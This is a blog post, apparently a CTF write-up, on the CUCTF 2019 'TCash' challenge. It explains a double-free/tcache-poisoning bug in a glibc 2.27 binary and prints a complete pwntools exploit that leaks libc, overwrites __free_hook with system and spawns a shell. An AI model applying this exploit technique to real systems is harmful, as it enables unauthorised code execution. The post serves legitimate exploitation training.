Search This Blog

Sunday, September 29, 2019

CUCTF 2019 TCash Writeup

Thanks to Nick for sending me CUCTF 2019's TCash challenge.  It's a cool little tcache poisoning challenge!  Anyways, let's take a look at the binary.

Basically, it's about the TCash Ledger Wallet.  You can create entries, edit the address, description, and amount, and delete entries.  You can display ledgers and the edit functions all use read().  Lastly, here is where the bug is.  Basically, in each entry, the binary stores metadata about the size of each part of the ledger and also pointers to the data.  However, upon freeing, it does not set the data to null. Also, the binary is running on an Ubuntu Bionic server, so libc version 2.27 probably.

With TCache on 2.27, exploitation is very trivial.  I can directly double free by freeing the same pointer in a row and there is no size check in tcache as of this libc version.  Make sure only one part of the data in each ledger is the same size for simplicity's sake. We can then edit a double freed chunk to have its next pointer point to free hook (no size check means we can have it return chunks anywhere without the 0x7f byte misalignment).  Overwrite free hook with system and then call it on a chunk with the string "/bin/sh\x00\x00" and the binary will be pwned; it can work if it's Full RELRO or PIE even.  Last thing... what about the libc leak?  Well, we can allocate items of size greater than maximum tcache size.  Free that chunk and it goes into unsorted.  Then, displaying it will leak pointers to offsets from the main arena, which will allow us to calculate libc base.  Here's the final exploit:
from pwn import *

binary = ELF('./tcash')
libc = ELF('./libc-2.27.so')
#context.log_level = 'debug'
time = 0.1
remote = ssh(host='10.0.2.5', user='will', password='123456789')
remote.set_working_directory('/home/will/tcash')
context(arch='amd64')
p = remote.process('./tcash')

def alloc(index, addr_size, desc_size, amount_size):
p.recvrepeat(time)
p.sendline('Create Entry')
p.recvrepeat(time)
p.sendline(str(index))
p.recvrepeat(time)
p.sendline(str(addr_size))
p.recvrepeat(time)
p.sendline(str(desc_size))
p.recvrepeat(time)
p.sendline(str(amount_size))

def edit(index, whichOne, data):
p.recvrepeat(time)
p.sendline(whichOne)
p.recvrepeat(time)
p.sendline(str(index))
p.recvrepeat(time)
p.sendline(data)

def delete(index):
p.recvrepeat(time)
p.sendline('Delete Entry')
p.recvrepeat(time)
p.sendline(str(index))

def leak(index):
p.recvrepeat(time)
p.sendline('Display Entry')
p.recvrepeat(time)
p.sendline(str(index))

alloc(0, 0x500, 0x10, 0x10)
#edit(0, 'Edit Address', 'A' * 0x50) #for debugging purposes
delete(0)
#p.interactive()
#<main_arena+96> is the leaked offset to main arena
#[+]main_arena_offset : 0x3ebc40
#00000000003ed8e8 <__free_hook@@GLIBC_2.2.5>:
leak(0)
libcLeak = u64((p.recvuntil('Description:').split('\n')[0].split('ress: ')[1]).ljust(8, '\x00'))
log.info('Leaked Libc Address: ' + hex(libcLeak))
libc.address = libcLeak - 0x3ebc40 - 96
log.info('Libc Base: ' + hex(libc.address))
log.info('Free Hook: ' + hex(libc.address + 0x3ed8e8))
log.info('System: ' + hex(libc.symbols['system']))
alloc(0, 0x80, 0x10, 0x10)
edit(0, 'Edit Address', 'A' * 0x50)
delete(0)
delete(0)
alloc(0, 0x80, 0x10, 0x10)
edit(0, 'Edit Address', p64(libc.address + 0x3ed8e8)) #forge fd now
alloc(1, 0x80, 0x10, 0x10)
alloc(2, 0x80, 0x10, 0x10) #get malicious chunk back now
edit(2, 'Edit Address', p64(libc.symbols['system'])) #overwrite free hook with system
edit(1, 'Edit Address', '/bin/sh\x00\x00') #for free hook, which is now system
delete(1)
p.interactive()
Cool challenge, Nick!

No comments:

Post a Comment